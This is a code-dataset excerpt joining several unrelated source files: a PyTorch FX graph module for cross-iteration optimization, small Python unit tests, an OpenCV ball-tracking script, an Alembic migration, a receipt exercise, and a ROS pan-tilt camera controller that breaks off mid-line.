node)\n erased.add(node)\n\n # Add all the extra output nodes into a list and append the list to\n # the original output.args[0].\n if self.num_extra_output:\n # If the extra-output list already exist, just use it.\n cast(List[fx.Node], output.args[0][-1]).extend(inputs) # type: ignore[index]\n new_output = output.args[0]\n else:\n # When adding the extra-output list, out_spec of _PyTreeCodeGen\n # must be updated accordingly.\n if isinstance(graph._codegen, _PyTreeCodeGen):\n codegen = graph._codegen\n new_output = list(output.args[0]) # type: ignore[arg-type]\n new_output.append(inputs)\n assert codegen.pytree_info.out_spec is not None\n original_tree_out = tree_unflatten(\n cast(List[Any], output.args[0]), codegen.pytree_info.out_spec\n )\n # Use None as a placeholder. If we use the extra-output list\n # the list will be flatten as well and put into out_spec.\n _, out_spec = tree_flatten((original_tree_out, None))\n codegen.pytree_info = codegen.pytree_info._replace(out_spec=out_spec)\n else:\n new_output = (output.args[0], inputs)\n self._fx_graph_call(graph, \"erase_node\", output)\n self._fx_graph_call(graph, \"output\", new_output)\n\n logger.info(\"Extended outputs from the subgraph inputs: %s\", str(inputs))\n return len(inputs)\n\n def _forward_inputs_to_subgraph(\n self, subgraph: List[fx.Node], graph: fx.Graph, extra_input: int\n ) -> None:\n \"\"\"\n This function creates extra input nodes and forward the input nodes to\n the ``subgraph``. The external input nodes of ``subgraph`` (nodes that\n are not in ``subgraph``) will replaced by the newly created input nodes.\n \"\"\"\n placeholders = [node for node in graph.nodes if str(node.op) == \"placeholder\"]\n assert placeholders, \"No placeholders are found\"\n # Append the extra input nodes to the current input nodes.\n with self._fx_graph_call(graph, \"inserting_after\", placeholders[-1]):\n new_input_nodes = list(\n reversed(\n [\n self._fx_graph_call(\n graph,\n \"placeholder\",\n f\"cross_iter_input_{self._cross_iter_block_count}_{i}\",\n )\n for i in reversed(range(extra_input))\n ]\n )\n )\n\n # Update the inputs of subgraph to use the newly created input nodes.\n all_nodes = set(subgraph)\n new_input_index = 0\n for node in subgraph:\n node_inputs, spec = tree_flatten((node.args, node.kwargs))\n new_node_inputs = []\n for input_node in node_inputs:\n if not isinstance(input_node, fx.Node) or input_node in all_nodes:\n new_node_inputs.append(input_node)\n else:\n new_node_inputs.append(new_input_nodes[new_input_index])\n new_input_index += 1\n node.args, node.kwargs = tree_unflatten(new_node_inputs, spec)\n assert new_input_index == len(\n new_input_nodes\n ), f\"More inputs than needed {len(new_input_nodes)} > {new_input_index}\"\n\n # Update the in_spec of _PyTreeCodeGen if in_spec is not None (the new\n # SPMD makes in_spec as None).\n if (\n isinstance(graph._codegen, _PyTreeCodeGen)\n and graph._codegen.pytree_info.in_spec is not None\n ):\n codegen = graph._codegen\n original_tree_in = tree_unflatten(placeholders, codegen.pytree_info.in_spec)\n _, in_spec = tree_flatten(tuple(list(original_tree_in) + new_input_nodes))\n codegen.pytree_info = codegen.pytree_info._replace(in_spec=in_spec)\n for new_input in new_input_nodes:\n codegen.pytree_info.orig_args.append(new_input.name)\n codegen.pytree_info = codegen.pytree_info._replace(in_spec=in_spec)\n\n def move_to_next_iter_before(\n self, subgraph: List[fx.Node], target_node: fx.Node\n ) -> None:\n \"\"\"\n Move the ``subgraph`` to the next iteration before ``target_node``.\n The ``subgraph`` is a list of fx.Node and must satisfy the following\n restrictions:\n 1. The order of the nodes in ``subgraph`` must obey the topological\n sort order.\n 2. The users of the node in ``subgraph`` must be one of the following:\n a.) the user is also a node in ``subgraph``.\n b.) the user is the output of the full graph.\n c.) the node has users (side effect node).\n \"\"\"\n if self._freeze_cross_iter_movement:\n raise RuntimeError(\n \"The cross-iteration movement has been frozen for the given \"\n \"IterGraph.\"\n )\n\n if not is_leaf_subgraph(self, subgraph):\n raise ValueError(\n \"The target nodes for ``move_to_next_iter_before`` must \"\n \"satisfy one of the following conditions: 1) the user of the \"\n \"node is in the target nodes, 2) the user is the ouput of the \"\n \"graph, 3) there are no users -- the node is a side-effect node. \"\n )\n\n self._cross_iter_block_count += 1\n # The main graph must be the last one to be modified. Otherwise, the\n # mapping may change and hence introduce incorrect mapping for setup\n # and cleanup graphs.\n\n # For the setup graph, no additional input is needed but additional\n # outputs will be created. The additional output represents the input of\n # the action to be moved to the next iteration -- main graph.\n setup_subgraph: List[fx.Node] = []\n for node in subgraph:\n mapped_node = self._lookup_node(node, self.setup_graph)\n assert mapped_node is not None\n setup_subgraph.append(mapped_node)\n setup_extra_input = self._forward_subgraph_inputs(\n subgraph=setup_subgraph,\n graph=self.setup_graph,\n erase_node=True,\n )\n\n # For the cleanup graph, additional input is required to get the output\n # from the last iteration -- main graph. Additional nodes are also\n # needed to perform the action moved from the last iteration.\n target_cleanup_node = self._lookup_node(target_node, self.cleanup_graph)\n assert target_cleanup_node is not None, \"The target_cleanup_node is None.\"\n cleanup_subgraph: List[fx.Node] = []\n for node in subgraph:\n mapped_node = self._lookup_node(node, self.cleanup_graph)\n assert mapped_node is not None\n cleanup_subgraph.append(mapped_node)\n cloned_subgraph = clone_subgraph(\n self.cleanup_graph,\n cleanup_subgraph,\n target=target_cleanup_node,\n )\n self._forward_inputs_to_subgraph(\n cloned_subgraph, self.cleanup_graph, setup_extra_input\n )\n\n # For the main graph, additional input will be created to represent\n # the output from the last iteration -- main graph or setup graph.\n # Additional output will also be generated to represent the input for\n # the next iteration -- the main graph or the cleanup graph.\n main_extra_input = self._forward_subgraph_inputs(\n subgraph=subgraph, graph=self, erase_node=False\n )\n assert main_extra_input == setup_extra_input\n for node in subgraph:\n target_node.prepend(node)\n self._forward_inputs_to_subgraph(subgraph, self, main_extra_input)\n\n # TODO: This is a temporary solution. We are going to remove DCE usage\n # or have something to replace fx DCE.\n for node in self.cleanup_graph.nodes:\n if len(node.users) == 0:\n node.users[\"__hold__\"] = None # type: ignore[index]\n for node in self.nodes:\n if len(node.users) == 0:\n node.users[\"__hold__\"] = None # type: ignore[index]\n self.num_extra_output += main_extra_input\n\n def move_before(self, nodes: List[fx.Node], target_node: fx.Node) -> None:\n for graph in self._all_graphs:\n actual_nodes = [self._lookup_node(node, graph) for node in nodes]\n actual_target_node = self._lookup_node(target_node, graph)\n assert actual_target_node is not None\n for actual_node in actual_nodes:\n actual_target_node.prepend(actual_node)\n\n def move_after(self, nodes: List[fx.Node], target_node: fx.Node) -> None:\n for graph in self._all_graphs:\n actual_nodes = [self._lookup_node(node, graph) for node in nodes]\n actual_target_node = self._lookup_node(target_node, graph)\n for actual_node in actual_nodes:\n assert actual_target_node is not None\n actual_target_node.append(actual_node)\n actual_target_node = actual_node\n\n def call_function(\n self,\n the_function: Callable[..., Any],\n args: Optional[Tuple[Argument, ...]] = None,\n kwargs: Optional[Dict[str, Argument]] = None,\n type_expr: Optional[Any] = None,\n ) -> fx.Node:\n if self._freeze_cross_iter_movement:\n return super().call_function(the_function, args, kwargs, type_expr)\n\n setup_args = tree_map(\n lambda arg: self._lookup_node(arg, self.setup_graph)\n if isinstance(arg, fx.Node)\n else arg,\n args,\n )\n setup_kwargs = tree_map(\n lambda arg: self._lookup_node(arg, self.setup_graph)\n if isinstance(arg, fx.Node)\n else arg,\n kwargs,\n )\n cleanup_args = tree_map(\n lambda arg: self._lookup_node(arg, self.cleanup_graph)\n if isinstance(arg, fx.Node)\n else arg,\n args,\n )\n cleanup_kwargs = tree_map(\n lambda arg: self._lookup_node(arg, self.cleanup_graph)\n if isinstance(arg, fx.Node)\n else arg,\n kwargs,\n )\n\n setup_node = self.setup_graph.call_function(\n the_function, setup_args, setup_kwargs, type_expr\n )\n main_node = super().call_function(the_function, args, kwargs, type_expr)\n cleanup_node = self.cleanup_graph.call_function(\n the_function, cleanup_args, cleanup_kwargs, type_expr\n )\n self._setup_mapping[main_node] = setup_node\n self._cleanup_mapping[main_node] = cleanup_node\n return main_node\n\n def erase_node(self, to_erase: fx.Node) -> None:\n if self._freeze_cross_iter_movement:\n return super().erase_node(to_erase)\n\n setup_node = self._lookup_node(to_erase, self.setup_graph)\n assert setup_node is not None, \"setup_node is None\"\n self.setup_graph.erase_node(setup_node)\n super().erase_node(to_erase)\n cleanup_node = self._lookup_node(to_erase, self.cleanup_graph)\n self.cleanup_graph.erase_node(cleanup_node)\n\n def placeholder(\n self,\n name: str,\n type_expr: Optional[Any] = None,\n default_value: Any = inspect.Signature.empty,\n ) -> fx.Node:\n if self._freeze_cross_iter_movement:\n return super().placeholder(name, type_expr, default_value)\n\n main_placeholder = super().placeholder(name, type_expr, default_value)\n setup_placeholder = self.setup_graph.placeholder(name, type_expr, default_value)\n cleanup_placeholder = self.cleanup_graph.placeholder(\n name, type_expr, default_value\n )\n self._setup_mapping[main_placeholder] = setup_placeholder\n self._cleanup_mapping[main_placeholder] = cleanup_placeholder\n return main_placeholder\n\n def output(self, result: Argument, type_expr: Optional[Any] = None) -> fx.Node:\n if self._freeze_cross_iter_movement:\n return super().output(result, type_expr)\n\n main_output = super().output(result, type_expr)\n setup_result = tree_map(\n lambda _result: self._lookup_node(_result, self.setup_graph)\n if isinstance(_result, fx.Node)\n else _result,\n result,\n )\n cleanup_result = tree_map(\n lambda _result: self._lookup_node(_result, self.cleanup_graph)\n if isinstance(_result, fx.Node)\n else _result,\n result,\n )\n self.setup_graph.output(setup_result, type_expr)\n self.cleanup_graph.output(cleanup_result, type_expr)\n\n return main_output\n\n def lint(self) -> None:\n self.setup_graph.lint()\n super().lint()\n self.cleanup_graph.lint()\n\n def node_prepend(self, target_node: fx.Node, node: fx.Node) -> None:\n \"\"\"Prepend node to target_node.\"\"\"\n if self._freeze_cross_iter_movement:\n target_node.prepend(node)\n return\n\n for graph in self._all_graphs:\n actual_node = self._lookup_node(node, graph)\n assert actual_node is not None, \"The node is None\"\n actual_target_node = self._lookup_node(target_node, graph)\n assert actual_target_node is not None, \"The target node is None\"\n actual_target_node.prepend(actual_node)\n\n def node_append(self, target_node: fx.Node, node: fx.Node) -> None:\n \"\"\"Append node to target_node.\"\"\"\n if self._freeze_cross_iter_movement:\n target_node.append(node)\n return\n\n for graph in self._all_graphs:\n actual_node = self._lookup_node(node, graph)\n assert actual_node is not None, f\"The actual node is None, {node}.\"\n actual_target_node = self._lookup_node(target_node, graph)\n assert (\n actual_target_node is not None\n ), f\"The actual target node is None, {target_node}.\"\n actual_target_node.append(actual_node)\n\n def node_set_args(self, node: fx.Node, args: Tuple[Argument, ...]) -> None:\n if self._freeze_cross_iter_movement:\n node.args = args\n return\n\n setup_args = tree_map_only(\n fx.Node, lambda _arg: self._lookup_node(_arg, self.setup_graph), args\n )\n setup_node = self._lookup_node(node, self.setup_graph)\n assert setup_node is not None\n setup_node.args = setup_args\n cleanup_args = tree_map_only(\n fx.Node, lambda _arg: self._lookup_node(_arg, self.cleanup_graph), args\n )\n cleanup_node = self._lookup_node(node, self.cleanup_graph)\n assert cleanup_node is not None\n cleanup_node.args = cleanup_args\n node.args = args\n\n def node_set_kwargs(self, node: fx.Node, kwargs: Dict[str, Argument]) -> None:\n if self._freeze_cross_iter_movement:\n node.kwargs = kwargs\n return\n\n setup_kwargs = tree_map_only(\n fx.Node, lambda _arg: self._lookup_node(_arg, self.setup_graph), kwargs\n )\n setup_node = self._lookup_node(node, self.setup_graph)\n assert setup_node is not None\n setup_node.kwargs = setup_kwargs\n cleanup_kwargs = tree_map_only(\n fx.Node, lambda _arg: self._lookup_node(_arg, self.cleanup_graph), kwargs\n )\n cleanup_node = self._lookup_node(node, self.cleanup_graph)\n assert cleanup_node is not None\n cleanup_node.kwargs = cleanup_kwargs\n node.kwargs = kwargs\n\n def node_replace_all_uses_with(\n self,\n node: fx.Node,\n replace_with: fx.Node,\n delete_user_cb: Callable[[fx.Node], bool] = lambda user: True,\n *,\n propagate_meta=False,\n ) -> List[fx.Node]:\n for graph in self._all_graphs:\n actual_node = self._lookup_node(node, graph)\n actual_replace_with = self._lookup_node(replace_with, graph)\n assert actual_node is not None\n ret = actual_node.replace_all_uses_with(\n actual_replace_with,\n delete_user_cb,\n propagate_meta=propagate_meta,\n )\n return ret\n\n def node_add_user(self, node: fx.Node, user: Any) -> None:\n for graph in self._all_graphs:\n actual_node = self._lookup_node(node, graph)\n if isinstance(user, fx.Node):\n actual_user_node = self._lookup_node(user, graph)\n else:\n actual_user_node = user\n assert actual_node is not None\n actual_node.users[actual_user_node] = None # type: ignore[index]\n\n def node_remove_user(self, node: fx.Node, user: Any) -> None:\n for graph in self._all_graphs:\n actual_node = self._lookup_node(node, graph)\n if isinstance(user, fx.Node):\n actual_user_node = self._lookup_node(user, graph)\n else:\n actual_user_node = user\n assert actual_node is not None\n del actual_node.users[actual_user_node] # type: ignore[arg-type]\n\n def keep_unused_nodes(self) -> None:\n for node in self.nodes:\n if len(node.users) == 0 and str(node.op) != \"output\":\n self.node_add_user(node, \"__hold__\")\n\n def functionalize_optim(self) -> None:\n # IterGraph can only support full graph (fwd+bwd+optim). As optimizer\n # is not a functional call (it is inplace op), this method adds the of\n # the optimizer call. This method has strong assumption of the optimizer\n # and may not always be working. This method is intended be a temporary\n # solution only.\n\n # TODO: remove this API after DCE is removed\n for node in reversed(self.nodes):\n if node.name.startswith(\"output\"):\n output_node = node\n elif node.name.startswith(\n \"_fused_adam_\",\n ):\n optim_node = node\n elif node.name.startswith(\n \"_foreach_add_\",\n ):\n step_node = node\n self.node_add_user(optim_node, output_node)\n self.node_add_user(step_node, optim_node)\n\n def defunctionalize_optim(self) -> None:\n # TODO: remove this API after DCE is not used with IterGraph\n for graph in self._all_graphs:\n for node in reversed(graph.nodes):\n if node.name.startswith(\"output\"):\n output_node = node\n elif node.name.startswith(\n \"_fused_adam_\",\n ):\n optim_node = node\n elif node.name.startswith(\n \"_foreach_add_\",\n ):\n step_node = node\n optim_node.users.pop(output_node, None)\n step_node.users.pop(optim_node, None)\n\n def freeze_cross_iter_movement(self) -> None:\n self._freeze_cross_iter_movement = True\n\n\nclass IterGraphModule(nn.Module):\n \"\"\"\n ``IterGraphModule`` provides the ability to do cross-iteration optimization.\n Given a ``fx.GraphModule``, main_gm, ``IterGraphModule`` internally\n duplicate it to 3 copies and redirect the ``forward`` request to a different\n ``fx.GraphModule`` based on the iteration count. This allows users to do\n graph optimizations that across iterations (e.g., moving collective wait in\n the backward to the forward of the next iteration).\n\n Note that users must call the APIs provided by ``IterGraphModule`` or\n ``IterGraph`` to rewrite the graph so that ``IterGraphModule`` can keep the\n data dependency for all 3 graphs.\n \"\"\"\n\n def __init__(\n self,\n main_gm: fx.GraphModule,\n max_iters: int = -1,\n enable_inductor: bool = False,\n ) -> None:\n super().__init__()\n\n def _copy_gm(src: fx.GraphModule, graph: fx.Graph) -> fx.GraphModule:\n gm = fx.GraphModule(src, graph)\n gm.meta = getattr(graph, \"meta\", {})\n return gm\n\n self.setup_gm = _copy_gm(main_gm, copy.deepcopy(main_gm.graph))\n self.cleanup_gm = _copy_gm(main_gm, copy.deepcopy(main_gm.graph))\n self.main_gm = _copy_gm(\n main_gm,\n IterGraph(main_gm.graph, self.setup_gm.graph, self.cleanup_gm.graph),\n )\n\n self._iter = 0\n self._max_iters = max_iters\n self._previous_output: Tuple[Any, ...] = tuple()\n self._num_extra_output = 0\n self._is_frozen = False\n self._enable_inductor = enable_inductor\n\n def finalize_setup(self) -> None:\n \"\"\"\n Must be called before the forward() is called. This method setups\n the internal states and also get the signal from users that what\n is the maximum iteration count.\n \"\"\"\n if not self._is_frozen:\n self.graph.freeze_cross_iter_movement()\n self._num_extra_output = self.graph.num_extra_output\n if self._enable_inductor:\n self.main_gm = partial_lower(self.main_gm)\n self._is_frozen = True\n\n self._iter = 0\n\n def _run(self, gm: fx.GraphModule, last_iter: bool, *args, **kwargs) -> Any:\n if self._num_extra_output > 0:\n new_args = args + (self._previous_output)\n output = gm(*new_args, **kwargs)\n if not last_iter:\n assert len(output) == 2\n self._previous_output = tuple(output[-1])\n assert (\n len(self._previous_output) > 0\n ), \"There should be at least one extra output.\"\n output = output[0]\n else:\n # No cross-iteration optimization is done. Simply call the\n # GraphModule.\n output = gm(*args, **kwargs)\n return output\n\n def forward(self, *args: Any, last_iter: bool = False, **kwargs: Any) -> Any:\n self._iter += 1\n last_iter = last_iter or self._iter == self._max_iters\n if last_iter:\n logger.info(\"Using the cleanup graph\")\n gm = self.cleanup_gm\n profiler_string = \"## IterGraphModule: Cleanup Graph ##\"\n self._iter = 0\n elif self._iter == 1:\n logger.info(\"Using the setup graph\")\n gm = self.setup_gm\n profiler_string = \"## IterGraphModule: Setup Graph ##\"\n else:\n gm = self.main_gm\n if self._iter == 2:\n logger.info(\"Using the main graph\")\n profiler_string = \"## IterGraphModule -- Maybe Compiling ##\"\n else:\n profiler_string = \"## IterGraphModule ##\"\n\n with record_function(profiler_string):\n return self._run(gm, last_iter, *args, **kwargs)\n\n @property\n def graph(self) -> IterGraph:\n return cast(IterGraph, self.main_gm.graph)\n\n def recompile(self) -> PythonCode:\n self.setup_gm.recompile()\n self.cleanup_gm.recompile()\n return self.main_gm.recompile()\n\n def freeze_cross_iter_movement(self) -> None:\n # TODO: remove this API once it is not used.\n self.graph.freeze_cross_iter_movement()\n self._num_extra_output = self.graph.num_extra_output\n\n def print_readable(self, print_output: bool = True) -> str:\n return self.main_gm.print_readable(print_output)\n\n def print_all_graphs(self) -> None:\n logger.info(\"Printing the three fx.Graph:\")\n logger.info(\"1. Setup fx.Graph:\")\n logger.info(\"%s\", self.setup_gm.graph)\n logger.info(\"2. Main fx.Graph:\")\n logger.info(\"%s\", self.main_gm.graph)\n logger.info(\"3. Cleanup fx.Graph:\")\n logger.info(\"%s\", self.cleanup_gm.graph)\n\n def print_all_graph_modules(self) -> None:\n logger.info(\"Printing the three fx gm:\")\n logger.info(\"1. Setup fx.GraphModule:\")\n logger.info(\"%s\", self.setup_gm.print_readable(False))\n logger.info(\"2. Main fx.GraphModule:\")\n logger.info(\"%s\", self.main_gm.print_readable(False))\n logger.info(\"3. Cleanup fx.GraphModule:\")\n logger.info(\"%s\", self.cleanup_gm.print_readable(False))\n","repo_name":"pytorch/pytorch","sub_path":"torch/distributed/_spmd/iter_graph_module.py","file_name":"iter_graph_module.py","file_ext":"py","file_size_in_byte":32192,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"33792042924","text":"import PhysicalQuantities.currency\nfrom numpy.testing import assert_almost_equal\nfrom PhysicalQuantities import PhysicalQuantity, q\n\n\ndef test_euro():\n a = PhysicalQuantity(1, 'Euro')\n assert_almost_equal(a.value, 1)\n\n\ndef test_floordiv():\n a = PhysicalQuantity(8, 'Euro')\n b = PhysicalQuantity(2, 'Euro')\n assert a//b == 4\n","repo_name":"standardgalactic/PhysicalQuantities","sub_path":"tests/test_currency.py","file_name":"test_currency.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"41316543204","text":"import BallDetector\n# import the necessary packages\nimport argparse\nfrom collections import deque\n\nimport cv2\nimport imutils\nimport numpy as np\n\n# parse CLI arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-v\", \"--video\", help=\"path to the video file\")\nap.add_argument(\"-b\", \"--buffer\", type=int, default=128, help=\"max buffer size (affects tracking line length)\")\nargs = vars(ap.parse_args())\n\n# initialise list of tracked points\npts = deque(maxlen=args[\"buffer\"])\n\n# load video\nvs = cv2.VideoCapture(args[\"video\"])\n\n# loop through all video frames\nwhile True:\n flag, frame = vs.read()\n if not flag:\n break\n\n # resize the frame, blur it, and convert it to the HSV color space\n #frame = imutils.resize(frame, width=1200)\n \n # convert the resized image to grayscale, blur it slightly, and threshold \n blurred = cv2.GaussianBlur(frame, (7,7), 0)\n gray = cv2.cvtColor(blurred, cv2.COLOR_BGR2GRAY)\n #thresh = cv2.adaptiveThreshold(gray, 200, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2)\n thresh = cv2.threshold(gray, 60, 255, cv2.THRESH_OTSU)[1]\n # find contours in the thresholded image and initialize the\n # shape detector\n cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n #bd = BallDetector()\n\n # update the points queue \n #pts.appendleft(center)\n\n # loop over the set of tracked points\n for i in range(1, len(pts)):\n # if either of the tracked points are None, ignore them\n if pts[i - 1] is None or pts[i] is None:\n continue\n # otherwise, compute the thickness of the line and draw the connecting lines\n thickness = int(np.sqrt(args[\"buffer\"] / float(i + 1)) * 2.5)\n cv2.line(frame, pts[i - 1], pts[i], (0, 0, 255), thickness)\n\n # show the frame to our screen\n cv2.imshow(\"Frame\", thresh)\n cv2.waitKey(1)\n\n# Stop video processing\nvs.release()\n# close all windows\ncv2.destroyAllWindows()\n\n\n\n","repo_name":"rb1193/cricket-ball-tracking","sub_path":"track_shape.py","file_name":"track_shape.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72895054632","text":"\"\"\"empty message\n\nRevision ID: 7c642e54d680\nRevises: 5de40a7e6fe8\nCreate Date: 2022-11-19 03:38:56.802635\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '7c642e54d680'\ndown_revision = '5de40a7e6fe8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('currency',\n sa.Column('id', postgresql.UUID(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.Column('fullname', sa.String(), nullable=True),\n sa.Column('value', sa.Float(), nullable=False),\n sa.Column('created_at', sa.TIMESTAMP(timezone=True), nullable=False),\n sa.PrimaryKeyConstraint('id', name=op.f('pk__currency')),\n sa.UniqueConstraint('id', name=op.f('uq__currency__id')),\n sa.UniqueConstraint('name', name=op.f('uq__currency__name'))\n )\n op.create_table('news',\n sa.Column('id', postgresql.UUID(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.Column('description', sa.String(), nullable=False),\n sa.Column('created_at', sa.TIMESTAMP(timezone=True), nullable=False),\n sa.PrimaryKeyConstraint('id', name=op.f('pk__news')),\n sa.UniqueConstraint('id', name=op.f('uq__news__id'))\n )\n op.create_table('currency_account',\n sa.Column('id', postgresql.UUID(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.Column('user_id', postgresql.UUID(), nullable=False),\n sa.Column('currency_id', postgresql.UUID(), nullable=False),\n sa.Column('created_at', sa.TIMESTAMP(timezone=True), nullable=False),\n sa.ForeignKeyConstraint(['currency_id'], ['currency.id'], name=op.f('fk__currency_account__currency_id__currency'), ondelete='CASCADE'),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], name=op.f('fk__currency_account__user_id__users'), ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('id', name=op.f('pk__currency_account')),\n sa.UniqueConstraint('id', name=op.f('uq__currency_account__id'))\n )\n op.create_table('transactions',\n sa.Column('id', postgresql.UUID(), nullable=False),\n sa.Column('currency_account_id', postgresql.UUID(), nullable=False),\n sa.Column('change_value', sa.FLOAT(), nullable=False),\n sa.Column('created_at', sa.TIMESTAMP(timezone=True), nullable=False),\n sa.ForeignKeyConstraint(['currency_account_id'], ['currency.id'], name=op.f('fk__transactions__currency_account_id__currency'), ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('id', name=op.f('pk__transactions')),\n sa.UniqueConstraint('id', name=op.f('uq__transactions__id'))\n )\n op.create_unique_constraint(op.f('uq__users__id'), 'users', ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(op.f('uq__users__id'), 'users', type_='unique')\n op.drop_table('transactions')\n op.drop_table('currency_account')\n op.drop_table('news')\n op.drop_table('currency')\n # ### end Alembic commands ###\n","repo_name":"yepIwt/test23","sub_path":"migrations/migrator/versions/2022-11-19-7c642e54d680_.py","file_name":"2022-11-19-7c642e54d680_.py","file_ext":"py","file_size_in_byte":3119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10326268909","text":"###############################\n# Author: Ben Swinford\n# Class: CS 362\n# Assignment: #3\n# Program: test_cube.py\n###############################\n\nimport unittest\nimport fullname\n\n\nclass testName(unittest.TestCase):\n\n\n\tdef test_is_empty(self):\n\t\tprint(\"\\nfor test_is_empty\")\n\t\tfirst = input(\"Enter the first name: \")\n\t\tlast = input(\" Enter the last name: \")\n\t\tname = fullname.combineName(first, last)\n\t\tname = name.replace(\" \", \"\")\n\t\tself.assertIsNot(name, \"\")\n\n\tdef test_allowed_characters(self):\n\t\tprint(\"\\nFor test_allowed_characters (not allowed characters: ! @ # $ % ^ &\")\n\t\tfirst = input(\"Enter the first name: \")\n\t\tlast = input(\" Enter the last name: \")\n\t\tname = fullname.combineName(first, last)\n\t\tdesiredName = len(name)\n\t\tname = name.replace(\"!\", \"\")\n\t\tname = name.replace(\"@\", \"\")\n\t\tname = name.replace(\"#\", \"\")\n\t\tname = name.replace(\"$\", \"\")\n\t\tname = name.replace(\"%\", \"\")\n\t\tname = name.replace(\"^\", \"\")\n\t\tname = name.replace(\"&\", \"\")\n\t\tlegalName = len(name)\n\t\tself.assertEqual(desiredName, legalName)\n\n\tdef test_character_limit(self):\n\t\tprint(\"\\nfor test_character_limit\")\n\t\tfirst = input(\"Enter the first name: \")\n\t\tlast = input(\" Enter the last name: \")\n\t\tname = fullname.combineName(first, last)\n\t\tnameLength = len(name)\n\t\tself.assertLess(nameLength, 16)\n\n\t\n\n\nif __name__ == '__main__':\n\tunittest.main()\n","repo_name":"swinforb/362-Assignment-4","sub_path":"test_name.py","file_name":"test_name.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29156807088","text":"# Lovely loveseats for Neat Suites on Fleet Street\nlovely_loveseat_description = \"\"\"\nLovely Loveseat. Tufted polyester blend on wood. 32\ninches high x 40 inches wide x 30 inches deep. Red or\nwhite\n\"\"\"\nlovely_loveseat_price = 254.00\n\nstylish_settee_description = \"\"\"\nStylish Settee. Faux leather on birch. 29.50 inches\nhigh x 54.75 inches wide x 28 inches deep. Black.\"\"\"\n\nstylish_settee_price = 180.50\n\nluxurious_lamp_description = \"\"\"\nLuxurious Lamp. Glass and iron. 36 inches tall. Brown\nwith cream shade.\n\"\"\"\n\nluxurious_lamp_price = 52.15\n\n# sales tax\nsales_tax = .088\n\ncustomer_one_total = 0.0\n\ncustomer_one_itemization = \"\"\n#customer buys loveseat\ncustomer_one_total += lovely_loveseat_price\ncustomer_one_itemization += lovely_loveseat_description\n#customer buys lamp\ncustomer_one_total += luxurious_lamp_price\ncustomer_one_itemization += luxurious_lamp_description\n\n# customer one tax calculation\ncustomer_one_tax = customer_one_total * sales_tax\n#add tax to the customer total\ncustomer_one_total += customer_one_tax\n\nprint(\"Customer One Items: \")\nprint(customer_one_itemization)\nprint(\"Total Cost: \")\nprint(customer_one_total)\n\n\n\n","repo_name":"Bal3x/python","sub_path":"codeCademy/Computer Science Path/Python_Hello_world/receipts_lovely_loveseats.py","file_name":"receipts_lovely_loveseats.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31322001448","text":"#!/usr/bin/env python\n\nimport time\nimport math\nimport random\n\nimport numpy as np\n\nimport rospy\nimport geometry_msgs.msg\nimport sensor_msgs.msg\nimport nav_msgs.msg\n\nfrom turtlesim.msg import Pose\nfrom axis_camera.msg import Axis\n\nIRIS_VALUE = 500\n\nliste_pan_tilt_search = [[-76,-27], [-65,-50], [-44,-50], [-34,-34], [-55, -34], [-55,-27]]\n\nclass PanTiltController:\n\n def __init__(self):\n\n self.camera_info = None\n self.coordinates = None\n self.mode = \"search\"\n self.sens = 1\n self.track_file = 'track_file.txt'\n self.x_robot_init, self.y_robot_init, self.theta_robot_init = None, None, None\n self.x_carrelage = None\n self.y_carrelage = None\n self.theta_carrelage = None\n\n with open(self.track_file, 'w') as f:\n pass\n\n # Subscribers\n self.camera_info_sub = rospy.Subscriber('/state',\n Axis, self.camera_callback, queue_size = 1)\n self.coordinates_turtle_sub = rospy.Subscriber('/coordinates',\n geometry_msgs.msg.Point, self.coordinates_callback, queue_size = 1)\n self.odom_sub = rospy.Subscriber(\"/odom\", nav_msgs.msg.Odometry, self.odom_callback)\n\n # Publishers\n self.cmd_pub = rospy.Publisher('cmd', Axis, queue_size = 1)\n\n\n def odom_callback(self, data):\n\n print(\"odom_callback\")\n\n def quater2yaw(q):\n yaw = math.atan2(2.0*(q.y*q.z + q.w*q.x), q.w*q.w - q.x*q.x - q.y*q.y + q.z*q.z);\n pitch = math.asin(-2.0*(q.x*q.z - q.w*q.y))\n roll = math.atan2(2.0*(q.x*q.y + q.w*q.z), q.w*q.w + q.x*q.x - q.y*q.y - q.z*q.z)\n return yaw, pitch, roll\n\n def normalise_angle(angle):\n if angle >= 0.0 and angle <= 2*np.pi:\n return angle\n elif angle > 2*np.pi:\n output_angle = angle\n while output_angle > 2*np.pi:\n output_angle -= 2*np.pi\n return output_angle\n else:\n output_angle = angle\n while output_angle < 0:\n output_angle += 2 * np.pi\n return output_angle\n\n\n x_robot = data.pose.pose.position.x\n y_robot = data.pose.pose.position.y\n\n yaw, pitch, roll = quater2yaw(data.pose.pose.orientation)\n theta_robot = normalise_angle(roll)\n\n if self.x_robot_init is None:\n self.x_robot_init, self.y_robot_init, self.theta_robot_init = x_robot, y_robot, theta_robot\n\n self.x_carrelage = x_robot 